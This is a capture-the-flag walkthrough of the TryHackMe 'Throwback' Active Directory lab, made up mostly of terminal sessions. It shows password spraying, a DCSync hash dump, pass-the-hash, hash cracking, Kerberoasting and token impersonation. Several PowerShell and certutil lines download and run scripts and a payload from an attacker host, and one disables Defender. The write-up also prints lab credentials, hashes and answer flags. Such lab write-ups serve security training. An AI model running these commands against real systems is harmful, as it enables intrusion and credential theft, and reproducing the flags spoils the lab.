kali@kali:~/Documents/THM/Throwback$ proxychains ssh Timekeeper@10.200.179.176
Timekeeper@10.200.179.176's password: keeperoftime

timekeeper@THROWBACK-TIME C:\xampp\mysql\bin>mysql.exe -u root -p
Enter password: mysql337570 
MariaDB [(none)]> show databases; 
+--------------------+ 
| Database           |
+--------------------+
| domain_users       |
| information_schema |
| mysql              |
| performance_schema |
| pets               |
| phpmyadmin         |
| test               |
| timekeepusers      |
+--------------------+
MariaDB [(none)]> use domain_users; show tables; 
Database changed        
+------------------------+
| Tables_in_domain_users |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.000 sec)
MariaDB [domain_users]> select * from users; 
+----------------------+  
| name                 |
+----------------------+
| ClemonsD             |
| DunlopM              |
| LoganF               | 
| IbarraA              |               
| YatesZ               |                                                       
| CopelandS            |
| MckeeE               |  
| HeatonC              |  
| FlowersK             |  
| HardinA              |  
| BurrowsA             |  
| FinneganI            |
| GalindoI             |               
| LyonsC               |                                                       
| FullerS              |                                                         
| SteeleJ              |       
| WangG                |                                                       
| LoweryR              |                                                       
| JeffersD             |                                                       
| GreigH               |                                                       
| SharpK               |                                                       
| KruegerM             |                                                       
| ChenI                |
| VillanuevaD          |               
| BegumK               |                                                       
| TBH{ac3f61048236fd39 |                                                             
| 8da9e2289622157e}    |        
+----------------------+

What database are the timekeep login users located?

timekeepusers

What database are the domain users located in?

domain_users

What table was located in the domain users database?

users

What is the first username in the table?

ClemonsD

What is the root flag on THROWBACK-TIME?

Using the meterpreter's session we used for dumping the hashes.

meterpreter > cat C:\\Users\\Administrator\\Desktop\\root.txt
TBH{2898c692926188884bf508efe560588f}

What is the SQL flag on THROWBACK-TIME?

TBH{ac3f61048236fd398da9e2289622157e}

Task 29 - So we're doing this again...

kali@kali:~/Documents/THM/Throwback$ proxychains 2>/dev/null crackmapexec smb 10.200.179.117 --continue-on-success -u users_db.txt -p weakPasswords.txt | grep \+
SMB         10.200.179.117  445    THROWBACK-DC01   [+] THROWBACK.local\JeffersD:Throwback2020

What user was successfully password sprayed?

JeffersD

What was the password for the user?

Throwback2020

Task 30 - SYNCHRONIZE

kali@kali:~/Documents/THM/Throwback$ proxychains ssh JeffersD@10.200.179.117
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.117:22  ...  OK
JeffersD@10.200.179.117's password:   Throwback2020
throwback\jeffersd@THROWBACK-DC01 C:\Users\jeffersd>type Documents\backup_notice.txt
As we backup the servers all staff are to use the backup account for replicating the servers
Don't use your domain admin accounts on the backup servers.

The credentials for the backup are:
TBH_Backup2348!

Best Regards,
Hans Mercer
Throwback Hacks Security System Administrator


kali@kali:~/Documents/THM/Throwback$ proxychains secretsdump.py -dc-ip 10.200.179.117 'THROWBACK/backup:TBH_Backup2348!'@10.200.179.117
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.24.dev1+20210720.100427.cd4fe47c - Copyright 2021 SecureAuth Corporation

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.117:445  ...  OK
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.117:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.117:49667  ...  OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4bedd990ee9b5b4ecc9ec1416f62401d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9e46b15fc5fb941c6ff32a752a6668d1:::
[...]
THROWBACK.local\MercerH:1206:aad3b435b51404eeaad3b435b51404ee:5edc955e8167199d1b7d0e656da0ceea:::
[...]

What user has dcsync rights?

backup

What user can we dump credentials for and is an administrator?

Mercerh

Submit flags for THROWBACK-DC01 in Task 4.

kali@kali:~/Documents/THM/Throwback$ proxychains psexec.py -hashes "aad3b435b51404eeaad3b435b51404ee:5edc955e8167199d1b7d0e656da0ceea" "THROWBACK.local/Mercer
H"@10.200.179.117                                                               
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14  
Impacket v0.9.24.dev1+20210720.100427.cd4fe47c - Copyright 2021 SecureAuth Corporation
                                                                               
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.117:445  ...  OK
[*] Requesting shares on 10.200.179.117..... 
[*] Found writable share ADMIN$                                                
[*] Uploading file aqRjwPOM.exe                                                
[*] Opening SVCManager on 10.200.179.117.....
[*] Creating service Mrdy on 10.200.179.117.....  
[*] Starting service Mrdy.....
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.117:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.117:445  ...  OK
[!] Press help for extra shell commands 
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.200.179.117:445  ...  OK
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd C:\users

What is the user flag on THROWBACK-DC01?

C:\Users>type C:\Users\gongoh\Desktop\user.txt
TBH{e6119f456f5107d655be3682559f720f}

What is the root flag on THROWBACK-DC01?

C:\Users>type C:\Users\MercerH\Desktop\root.txt    
TBH{1b9b614a505017c6fa34cb188581db65}

What is the account description flag on THROWBACK-DC01?

C:\Users>powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://10.50.176.45/PowerView.ps1'); Get-NetUser | select samaccountname, description" 
[...]
samaccountname description                                              
-------------- -----------
MercerH        TBH{b89d9a1648b62a7f2ed01038ac47796b}

Task 31 - This forest has trust issues

hashcat -m 1000 -a 0 -r rules/OneRuleToRuleThemAll.rule hashes/mercerh_hash.txt /usr/share/wordlists/rockyou.txt
5edc955e8167199d1b7d0e656da0ceea:pikapikachu7

kali@kali:~/Documents/THM/Throwback$ proxychains scp /tmp/NotAShell.exe Mercerh@10.200.179.117:"C:/Windows/Temp/"
kali@kali:~/Documents/THM/Throwback$ proxychains ssh Mercerh@10.200.179.117 "C:/Windows/Temp/NotAShell.exe"

use multi/manage/autoroute
set session 15
set subnet 10.200.179.0
exploit
use auxiliary/server/socks_proxy
exploit

What domain has a trust relationship with THROWBACK.local?

corporate.local

What is the hostname of the machine that has a forest trust with the domain controller?

CORP-DC01

What is the Administrator account we can use to access the second forest?

mercerh

What is the name of the file in the Administrator's Documents folder?

server_update.txt

Submit flags for CORP-DC01 in Task 4

Run a cmd as root

What is the user flag on CORP-DC01?

C:\Windows\System32>type C:\Users\Mercerh\Desktop\user.txt
TBH{773e16d57284363e68a4db254860aed1}

What is the root flag on CORP-DC01?

C:\Windows\System32>type C:\Users\Administrator\Desktop\user.txt
TBH{d2368a76214103ac670a7984b4dba5a3}

Task 32 - r/badcode would like a word

Git Hub repository: Link

What User has a Github Account?

Rikka Foxx

What was the user found in github?

DaviesJ

What password was found in github?

Management2018

What machine can you access with the credentials?

kali@kali:~/Documents/THM/Throwback$ sudo proxychains xfreerdp /u:MercerH /p:'pikapikachu7' /v:10.200.179.118  

# Run a cmd as administrator
C:\Users\MercerH\Documents> powershell.exe -exec bypass -c "Set-MpPreference -DisableRealtimeMonitoring 1"
C:\Users\MercerH\Documents>certutil -urlcache -f http://10.50.176.45/NotAShell.exe NotAShell.exe
C:\Users\MercerH\Documents> .\NotAShell.exe

use multi/manage/autoroute
set session 21
set subnet 10.200.179.0
exploit
use auxiliary/server/socks_proxy
exploit

kali@kali:~/Documents/THM/Throwback$ proxychains 2>/dev/null evil-winrm  -u DaviesJ -p Management2018 -i 10.200.179.243
*Evil-WinRM* PS C:\Users\daviesj\Documents>

CORP-ADT01

What is the flag on GitHub?

https://github.com/RikkaFoxx

TBH{19fa56ead6f82d8c4abc664e2e56f0b1}

What is the flag on Twitter?

https://twitter.com/tbhSecurity/status/1292594165855981568

TBH{ca57861454b195f6a5c951a634e05f9e}

Task 33 - Identity Theft is not a Joke Jim

*Evil-WinRM* PS C:\Users\daviesj\Documents> certutil -urlcache -f http://10.50.176.45/NotAShell.exe NotAShell.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.
*Evil-WinRM* PS C:\Users\daviesj\Documents> .\NotAShell.exe

meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
CORPORATE\DaviesJ
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
Font Driver Host\UMFD-2
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1
Window Manager\DWM-2

Impersonation Tokens Available
========================================
CORPORATE\DosierK

meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM

meterpreter > cat C:\\USers\\dosierk\\Documents\\email_update.txt
Hey team! Hope you guys are having a good day!

As all of you probably already now we are transferring to our new email service as we
transition please use the new emails provided to you as well as the default credentials
that can be found within your emails.

Please do not use these emails outside of corporate as they contain sensitive information.

The new email format is based on what department you are in:

ESM-Example@TBHSecurity.com
FIN-Example@TBHSecurity.com
HRE-Example@TBHSecurity.com
ITS-Example@TBHSecurity.com
SEC-Example@TBHSecurity.com

In order to access your email you will need to go to mail.corporate.local as we get our 
servers moved over.

If you do not already have mail.corporate.local set in your hosts file please reach out to
IT to get that fixed.

Please remain patient as we make this transition and please feel free to email me with any
questions you may have regarding the new transition: HRE-KDoiser@TBHSecurity.com

Karen Dosier,
Human Relations Consulatant

What file is on the Administrator's Documents folder?

email_update.txt

Who wrote the email?

Karen Dosier

What is her official title in the company?

Human Relations Consulatant

Submit flags for CORP-ADT01 in Task 4

What is the user flag on CORP-ADT01?

meterpreter > cat C:\\USers\\DaviesJ\\Desktop\\user.txt
TBH{250fd11eadbd01e7ed14196611d7b255}

What is the root flag on CORP-ADT01?

meterpreter > cat C:\\USers\\dosierk\\Desktop\\root.txt
TBH{7defa0d5b36c72a48e5966fd2493e19e}

What is the flag on LinkedIn?

Link -> TBH{2913c22315f3ce3c873a14e4862dd717}

Task 35 - Lost and Found

You need to use foxy proxy with proxychains in order to get access to the web.

echo "10.200.179.232 mail.corporate.local www.breachgtfo.local" | sudo tee -a /etc/hosts

kali@kali:~/Documents/THM/Throwback$ proxychains 2>/dev/null ffuf -w new_emails.txt -u http://www.breachgtfo.local/search.php?search=FUZZ -fw 1265
test@email.com          [Status: 200, Size: 5046, Words: 1284, Lines: 224]
SEC-jstewart@TBHSecurity.com [Status: 200, Size: 5071, Words: 1284, Lines: 224]

Email: SEC-JStewart@TBHSecurity.com
Password: aqAwM53cW8AgRbfr
Username: JStewart
Data Breach: pwnDB

What is the Users email who has been affected by the Databreach?

SEC-JStewart@TBHSecurity.com

What was the Users password?

aqAwM53cW8AgRbfr

What credentials could be found in the Email?

TBSEC_GUEST:WelcomeTBSEC1!

Submit flags for reconnaissance in Task 4

What is the flag in the source code of Breach || GTFO?

kali@kali:~/Documents/THM/Throwback$ proxychains 2>/dev/null curl "http://www.breachgtfo.local/search.php?search=SEC-jstewart@TBHSecurity.com" | grep TBH
<!--TBH{53f3a6cb77f633edd9749926b9a9217b}-->

TBH{53f3a6cb77f633edd9749926b9a9217b}

What is the flag on the Corporate Mail server?

Using the email address and the password at http://mail.corporate.local/mailbox.php we can get the flag.

TBH{19b6ca4281bbef3ee060aaf1c2eb4021}

Task 36 - Kerberoasting II Electric Boogaloo

kali@kali:~/Documents/THM/Throwback$ proxychains 2>/dev/null xfreerdp  /u:TBSEC_GUEST /p:'WelcomeTBSEC1!' /v:10.200.179.79


C:\Users\TBSEC_GUEST>powershell -exec bypass "IEX(New-Object Net.WebClient).downloadString('http://10.50.176.45/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast -OutputFormat Hashcat"


TicketByteHexStream  :
Hash                 : $krb5tgs$23$*TBService$TBSECURITY.local$TBSEC-DC01/TBService.TBSECURITY.local:48064*$A54264EEFA8C95B5506BF936032C9D59$E7CB41FA7A4638D373EBEE1539C6B434A6BA1A0199A1F56A93E34F53BA8E50BDB43FB56C3967DDDAE5E0B759D2D22158C1D96F5D7610C0D7FECC7E0E92434449459D77FF7792B532093B7F65E4FA14EB43161EF9B140BA83A0A7951A666E6DCAB2408398F454C627016C5470B1198EAF1BB364F267BDE748FFB8389689CE9C3143A1DC274AD2CB1A624A09781BFB8039802FFB37CC4FD36C90D63476D244004C9DF074C6532777EB96037FA26603AA93201B73C9623418BA4DCE3B40384ECFE3EFB976E972E4DCDD4E4979637D56EE91A8844378A6A815B446598975A65DE5C7B1032ECE479A93BFFD595DFEDBA457F06CFCAF5BEB1CA6E9E44F733EB49A3A43CEF1A476B6744400985449259153CE867A345CD2912F3CCB6B163E1D4AEBAA58416404F34D29B0CAA6AF3274E65DAFEF6F01CCAE8D26E91AE34490A6823767D96B2345C83842ACC8049D94F2D9072B98A1ECF0A7CB92636581EEF1D2A22697B61ABAC7418E9902FDD7527C6206BB0B6EF8734CEBC7CE13E649CDD457A8166DB0BC59CE1C09C5F257FA2144E6E0C12898D0DF34DD9B63D4770E9753AB78985C249B3FFDE4DA6F0E8FF83B5813E212D191AD3139573533EF5BA7675CA20EBF396AC83B7DA801A59823C1400FA01F8BC9427F2EA42CE8B700833D673F67B08A51C119155621CC646A4B7F37233FB2D8E33791FF1FB0A7C2EAA8C2C464524DEA1CB648D5168E1E8023AF09A51B78228EA2285FFB9316D3986BC776CCB7798EE00BF5EAA8B04253775FBFCBD4ABA4F4D7FAD66459D735A4D9213DBEC620B0E574864F25CC37B44D9EF3A607ADC37E1ECDABCCEB72D61D1F5A8C98975479AF67D302D2CC860F1C8ABC7A76C371EC806906E06B355754AACADCBFBEBEB856A71BABBC2D18540E1D35400FA21D3BE9CDA234CF03CD6FC2F79415C15ABBA7F42FF76FCC3DBE05F93DF511001496A50EFCFC050E4676760C73CE84A9E4536C38FC38D0FCF0B076BE874B8E0146445899AFD4EBC96CCDCC6645273F62FF5857E97A83FE16D0B3E4C8165D10D3854541A60F4C29315D173B7F4473F06CA153478B50EC0AF91094D57612D5DEDEE23F325B661D392F8D9B92329AF410B3FE928C63B9A0305B7924BDF0CEFD6EB6CA090232A05C82C83EE39BDEAB7BA0AF813FC0A12CA7C05DF124A8F7405327EAC1CC148F92887F5C3F61787CE29EDF4C1EEC87FA0F8EA7FDC0CCEE6BD4DFACE4B46227D867B3510FA7EB36CECBB689EBDE68B2128D0724F7B38404A2F9CACE0F2CD906881AE2D28904AB02DDD457854E8DE1EBBDD6351A02D8F141460CF53D2D82B8BDB31E20E9066432B10D75B44C7769C7F1D22E93B1C01A4FC825835493230A5F6460C05C797B95629E7AD6EED41A1F0B2BA55ACA62071464E1D733A41FCC96B8C713EE306C75151E04252C673E4974D19A2A267295F41A2AF8A9FF9ECADF4DD59D38181E946A12C6E299F133600903BA85F4F6E1822F7CB62B283C615EE78689609423500C1E1FD04A02714A7B87CF8E36209D1804AC815F0C151F8293
SamAccountName       : TBService
DistinguishedName    : CN=TBService,OU=Quarantine,DC=TBSECURITY,DC=local
ServicePrincipalName : TBSEC-DC01/TBService.TBSECURITY.local:48064

kali@kali:~/Documents/THM/Throwback$ hashcat -m 13100 tbservice_ticket.txt /usr/share/wordlists/rockyou.txt 
[...]:securityadmin284650

What User was vulnerable to Kerberoasting?

TBService

What password could be cracked from the Kerberos Ticket?

securityadmin284650

Submit flags for TBSEC-DC01 in Task 4

What is the user flag on TBSEC-DC01?

C:\Users>type C:\Users\daviesj\Desktop\user.txt
TBH{3efabe3366172f3f97d1123f2cc6dfb5}

What is the root flag on TBSEC-DC01?

kali@kali:~/Documents/THM/Throwback$ proxychains 2>/dev/null xfreerdp  /u:TBService /p:'securityadmin284650!' /v:10.200.179.79
C:\Users>type C:\Users\Administrator\Desktop\root.txt
TBH{ec08be8aa9113b47f321b5032a27b220}

Throwback - [THM]

Table of Contents